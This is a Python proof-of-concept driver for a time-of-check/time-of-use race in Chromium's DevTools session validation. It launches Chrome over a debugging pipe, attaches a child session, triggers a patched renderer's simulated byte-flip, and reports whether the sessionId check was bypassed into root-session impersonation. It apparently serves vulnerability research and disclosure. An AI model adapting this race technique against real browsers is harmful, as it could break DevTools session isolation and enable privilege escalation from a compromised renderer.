#!/usr/bin/env python3
"""
CDP driver / observer for the BigBuffer-TOCTOU bypass of
DevToolsSession::ValidateMessage.

What it does
------------
1. Launches Chrome with --remote-debugging-pipe so this script is the root
   DevTools client (flattened mode, JSON/ASCIIZ framing on fds 3/4).
2. Loads http://127.0.0.1:8080/poc.html in a renderer-backed page target and
   attaches to it as a *child* session (non-empty sessionId).
3. Sends one `Runtime.enable` to that child session.  In the patched renderer
   (chromium-changes.patch), this triggers the compromised-renderer
   simulation: a shared-memory-backed DispatchProtocolNotification is sent
   with the *correct* sessionId, then a renderer thread flips one byte of the
   shared mapping after a short delay.
4. Reads every message coming back over the pipe and looks for
   `"method":"TOCTOU.spoofed"`.  The browser only forwards that message if
   ValidateMessage() returned true — but if the message we receive has *no*
   `sessionId` (or a different one), the race won and the validation was
   bypassed.

Exit code 0 == TOCTOU bypass observed.
"""
import json
import os
import select
import shutil
import signal
import subprocess
import sys
import tempfile
import threading
import time

CHROME = os.environ.get(
    "CHROME", "/chromium/chromium/src/out/asan/chrome")
PAGE_URL = os.environ.get("PAGE_URL", "http://127.0.0.1:8080/poc.html")
TIMEOUT_SECS = int(os.environ.get("TIMEOUT_SECS", "120"))


def main() -> int:
    profile = tempfile.mkdtemp(prefix="chrome-toctou-")

    # Pipes: Chrome reads CDP JSON from its fd 3, writes CDP JSON to its fd 4.
    # Park every endpoint on a high fd first so the dup2-onto-3/4 below can't
    # clobber any of the driver's own ends.
    def _pipe_at(lo: int):
        r, w = os.pipe()
        r2 = os.dup2(r, lo);     os.close(r)
        w2 = os.dup2(w, lo + 1); os.close(w)
        return r2, w2
    cmd_r, cmd_w = _pipe_at(100)   # we write cmd_w -> Chrome reads (fd 3)
    out_r, out_w = _pipe_at(102)   # Chrome writes (fd 4) -> we read out_r

    argv = [
        CHROME,
        "--remote-debugging-pipe",
        "--no-first-run",
        "--no-default-browser-check",
        "--disable-gpu",
        "--no-sandbox",
        "--headless=new",
        "--user-data-dir=" + profile,
        "about:blank",
    ]
    sys.stderr.write("[driver] launching: %s\n" % " ".join(argv))
    # Chrome expects the pipe on fds 3 (read) and 4 (write) in the child.
    os.dup2(cmd_r, 3); os.close(cmd_r)
    os.dup2(out_w, 4); os.close(out_w)
    os.set_inheritable(3, True)
    os.set_inheritable(4, True)
    proc = subprocess.Popen(
        argv,
        pass_fds=(3, 4),
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
    )
    os.close(3)
    os.close(4)

    # Tee Chrome's stderr/stdout so renderer-side POC logging is visible.
    def _pump_stderr():
        for line in proc.stdout:
            sys.stderr.buffer.write(b"[chrome] " + line)
            sys.stderr.buffer.flush()
    threading.Thread(target=_pump_stderr, daemon=True).start()

    next_id = [1000]
    pending = {}      # call_id -> result dict (filled when reply arrives)
    spoofed = []      # collected TOCTOU.spoofed notifications
    child_sid = [None]

    def send(method, params=None, session_id=None):
        cid = next_id[0]; next_id[0] += 1
        msg = {"id": cid, "method": method}
        if params is not None:
            msg["params"] = params
        if session_id is not None:
            msg["sessionId"] = session_id
        data = json.dumps(msg).encode() + b"\x00"
        os.write(cmd_w, data)
        pending[cid] = None
        return cid

    buf = bytearray()
    deadline = time.time() + TIMEOUT_SECS

    def read_messages(want_id=None, until=None):
        """Pump the pipe; returns when want_id reply arrives or until() truthy."""
        while time.time() < deadline:
            if want_id is not None and pending.get(want_id) is not None:
                return pending[want_id]
            if until is not None and until():
                return None
            r, _, _ = select.select([out_r], [], [], 0.2)
            if not r:
                if proc.poll() is not None:
                    raise RuntimeError("chrome exited (code=%r)" % proc.returncode)
                continue
            chunk = os.read(out_r, 65536)
            if not chunk:
                raise RuntimeError("CDP pipe closed by chrome")
            buf.extend(chunk)
            while True:
                i = buf.find(0)
                if i < 0:
                    break
                raw = bytes(buf[:i]); del buf[: i + 1]
                handle(raw)
        raise RuntimeError("timeout after %ds" % TIMEOUT_SECS)

    def handle(raw: bytes):
        try:
            m = json.loads(raw)
        except Exception:
            sys.stderr.write("[driver] non-JSON message (%d bytes)\n" % len(raw))
            return
        mid = m.get("id")
        if mid is not None and mid in pending:
            pending[mid] = m
            return
        method = m.get("method")
        if method == "TOCTOU.spoofed":
            sid = m.get("sessionId")
            note = {
                "sessionId": sid,
                "sessionXd": m.get("sessionXd"),  # the renamed key, if mutation won
                "raw_head": raw[:120].decode(errors="replace"),
            }
            spoofed.append(note)
            sys.stderr.write("[driver] got TOCTOU.spoofed: sessionId=%r\n" % sid)
        elif method == "Target.attachedToTarget":
            pass  # informational
        # else: ignore other notifications

    try:
        # 1) Create a renderer-backed page target.
        cid = send("Target.createTarget", {"url": PAGE_URL})
        reply = read_messages(want_id=cid)
        target_id = reply["result"]["targetId"]
        sys.stderr.write("[driver] page targetId=%s\n" % target_id)

        # Give the page a moment to load before attaching.
        time.sleep(1.0)

        # 2) Attach as a flattened child session -> non-empty session_id_ in
        #    the renderer-side blink::DevToolsSession.
        cid = send("Target.attachToTarget",
                   {"targetId": target_id, "flatten": True})
        reply = read_messages(want_id=cid)
        child_sid[0] = reply["result"]["sessionId"]
        sys.stderr.write("[driver] child sessionId=%s\n" % child_sid[0])

        # 3) One renderer-handled command -> renderer SendProtocolResponse runs
        #    -> POC injection fires the shared-memory notification + mutator.
        send("Runtime.enable", {}, session_id=child_sid[0])

        # 4) Wait for the TOCTOU.spoofed notification (the 8 MiB JSON parse on
        #    the browser UI thread takes a while under ASAN).
        read_messages(until=lambda: spoofed)

    finally:
        try:
            proc.send_signal(signal.SIGTERM)
            proc.wait(timeout=10)
        except Exception:
            proc.kill()
        shutil.rmtree(profile, ignore_errors=True)

    if not spoofed:
        print("\n[-] No TOCTOU.spoofed notification received.")
        return 1

    note = spoofed[0]
    print("\n" + "=" * 72)
    print("TOCTOU.spoofed notification received from browser")
    print("=" * 72)
    print("expected child sessionId : %s" % child_sid[0])
    print("received sessionId       : %r" % note["sessionId"])
    print("renamed key (sessionXd)  : %r" % note["sessionXd"])
    print("first 120 bytes          : %s" % note["raw_head"])
    print("=" * 72)

    if note["sessionId"] != child_sid[0]:
        print("[+] VALIDATION BYPASSED: browser-side ValidateMessage() approved")
        print("    sessionId=%r, but the DevTools client received sessionId=%r." %
              (child_sid[0], note["sessionId"]))
        if note["sessionId"] is None:
            print("    -> No sessionId at all == root-session impersonation in")
            print("       flattened CDP mode.")
        return 0

    print("[-] Race lost this run: forwarded message still carries the correct")
    print("    sessionId. Re-run (or tune kMutateDelayMs / kPadBytes).")
    return 2


if __name__ == "__main__":
    sys.exit(main())
